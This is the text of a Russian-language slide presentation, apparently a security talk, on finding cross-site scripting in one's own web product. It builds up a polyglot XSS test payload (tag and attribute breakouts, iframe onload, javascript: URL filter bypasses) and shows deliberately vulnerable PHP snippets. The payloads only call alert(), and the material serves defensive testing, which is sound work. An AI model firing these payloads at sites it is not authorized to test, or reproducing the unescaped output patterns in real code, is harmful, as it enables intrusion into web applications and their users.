Похожие презентации:
480670.pptx
1.
XSSни свой продуктпродвинутое тестирование безопасности
2.
ПрограммаПоговорим про XSS
Создадим универсальный пейлоад для поиска XSS
3.
XSS (Cross-Site Scripting) это когда хакер может выполнитьпроизвольный javascript в браузере
жертвы в контексте вашего сайта
4.
XSS - причины1. при генерации html-страницы, когда в код подтягиваются:
• любые данные из БД, ранее указанные пользователем - stored XSS
• параметры из урла/тела запроса - reflected XSS
• значения http заголовков, куки - нужен mitm или другой баг (не
сегодня)
2. при изменении страницы джаваскриптом (про это в другой
раз):
• postMessage
• InnerHTML, $().html(), document.write
• location.hash...
5.
XSS - методология1. пейлоад во все поля/параметры
2. рано или поздно выполнится alert()
6.
7.
8.
F12 -> Ctrl+F -> "qweqwe"9.
10.
11.
<script>alert()</script>12.
XSS – Level 013.
<p>Привет, <?php echo($_GET["name"]); ?>!
<p>
XSS: между тэгами разметки
14.
/page.php?name=<script>alert()</script><p>
Привет, <script>alert()</script>!
<p>
XSS: между тэгами разметки
15.
<p>Привет, <?php $sql=…; echo($sql); ?>!
<p>
XSS: между тэгами разметки
16.
<p>Привет, Вася<script>alert()</script>!
<p>
XSS: между тэгами разметки
17.
<form action="page.php" method="POST"><input name="name" value="<?php echo($_GET["name"]); ?>">!
</form>
XSS: внутри значения аттрибута
18.
/page.php?name="><script>alert()</script><form action="page.php" method="POST">
<input name="name" value=""><script>alert()</script>">!
</form>
XSS: внутри значения аттрибута
19.
"><script>alert()</script>20.
XSS – Level 121.
<html><head>
<title>Привет, <?php echo($_GET["name"]); ?></title>
</head>
<body>
</body>
</html>
XSS: между специфичных тэгов
22.
/page.php?name="><script>alert()</script><html>
<head>
<title>Привет,"><script>alert()</script></title>
</head>
<body>
</body>
</html>
XSS: между специфичных тэгов
23.
/page.php?name="><script>alert()</script>Сработает?
<html>
<head>
<title>Привет,"><script>alert()</script></title>
</head>
<body>
</body>
</html>
XSS: между специфичных тэгов
24.
/page.php?name="><script>alert()</script><html>
<head>
<title>Привет,"><script>alert()</script></title>
</head>
<body>
</body>
</html>
XSS: между специфичных тэгов
НЕТ!
25.
/page.php?name="></title><script>alert()</script><html>
<head>
<title>Привет,"></title><script>alert()</script>
</title>
</head>
<body>
</body>
</html>
XSS: между специфичных тэгов
26.
"></title><script>alert()</script>27.
<script>var name="<?php echo($_GET["name"]); ?>";
</script>
XSS: между специфичных тэгов
28.
/page.php?name="></title><script>alert()</script><script>
var name=""></title><script>alert()</script>";
</script>
XSS: между специфичных тэгов
29.
/page.php?name="></script></title><script>alert()</script><script>
var name=""></script></title><script>alert()</script>";
</script>
XSS: между специфичных тэгов
30.
"></title></script><script>alert()</script>+ </style></noscript></textarea>…(по
ситуации)
31.
XSS – Level 232.
<form action="page.php" method="POST"><input name="name" value="<?php echo($_GET["name"]); ?>">!
</form>
XSS: особенности HTML
33.
<form action='page.php' method='POST'><input name='name' value='<?php echo($_GET["name"]); ?>'>!
</form>
XSS: особенности HTML
34.
'"></title></script><script>alert()</script>35.
<form action='page.php' method='POST'><input name='name' value='<%..UrlParam("name").replaceAll(">",">")..%>'>!
</form>
XSS: внутри значения аттрибута
36.
/page.php?name='><script>alert()</script><form action='page.php' method='POST'>
<input name='name' value=''><script>alert()</script>'>!
</form>
XSS: внутри значения аттрибута
37.
/page.php?name='%20autofocus%20onfocus='alert();<form action='page.php' method='POST'>
<input name='name' value='' autofocus onfocus='alert();'>!
</form>
(autofocus onfocus не будут работать если у инпута type=hidden)
XSS: внутри значения аттрибута
38.
<script>var name="<?php echo($_GET["name"]); ?>";
</script>
XSS: внутри тэга script
39.
/page.php?name=";+alert();//<script>
var name=""; alert();//";
</script>
XSS: внутри тэга script
40.
<a href="<?php echo($_GET["returnUrl"]); ?>">Вернуться</a>XSS: внутри ссылки
41.
/page.php?returnUrl=javascript:alert()<a href="javascript:alert()">Вернуться</a>
XSS: внутри ссылки
42.
/page.php?returnUrl=%20javascript:alert()Сработает?
<a href=" javascript:alert()">Вернуться</a>
XSS: внутри ссылки
43.
/page.php?returnUrl=%20javascript:alert()ДА!
<a href=" javascript:alert()">Вернуться</a>
XSS: внутри ссылки
44.
/page.php?returnUrl=%09javascript:alert()<a href="
javascript:alert()">Вернуться</a>
XSS: внутри ссылки
45.
XSS на biz.mail.ruBounty – 500$
https://hackerone.com/reports/268245
46.
47.
48.
49.
/page.php?returnUrl=javascript:alert()<a href="javascript:alert()">Вернуться</a>
XSS: внутри ссылки
50.
XSS – Level 351.
'"></title></script><script>alert()</script>52.
'"></title></script><script>alert()</script>53.
'"></title></script><iframe onload='alert``'>54.
55.
Плюсы iframe:1. Легко заметить, если пейлоад встраивается в страницу, но
на onload работают санитайзеры
2. Есть волшебный аттрибут srcdoc
56.
57.
58.
XSS – Level 133759.
Пробелы между аттрибутами в тэге могут замениться слэшемТэг необязательно закрывать! <iframe/onload='alert()'
Есть кейс, когда пейлоад попадает между комментом <!-- -->,
нужно закрывать и его
60.
From:'"></title></script><iframe onload='alert``'>
to:
'"></title/</script/</style/--><iframe/onload='alert``'
61.
XSS в личных сообщениях на ...Bounty – 3000$
https://hackerone.com/reports/...
62.
Обрезали все, что подходит под паттерн "<…>"Но незакрытый тэг нормализуется всеми современными
браузерами в закрытый!
63.
<iframe/onload='alert()'64.
+ Bonus65.
/page.php?returnUrl=javascript:alert()<a href="javascript:alert()">Вернуться</a>
Back to redirect XSS
66.
Может быть требовать формат URL:protocol://host:port/... ?
Разработчик
67.
<a href="javascript://qwe.com/%0aalert()">Вернуться</a>Back to redirect XSS
68.
69.
А может быть тогда просто запретитьслово javascript в урле?
Разработчик
70.
<a href="javascript://qwe.com/%0aalert()">Вернуться</a>
Back to redirect XSS
71.
Ну, тогда я буду требовать, чтобыссылка начиналась на http(s) или на /
Разработчик
72.
Вопросы?Ваня
@Ivan_Rumak
rumak@skbkontur.ru
kontur.ru
Программирование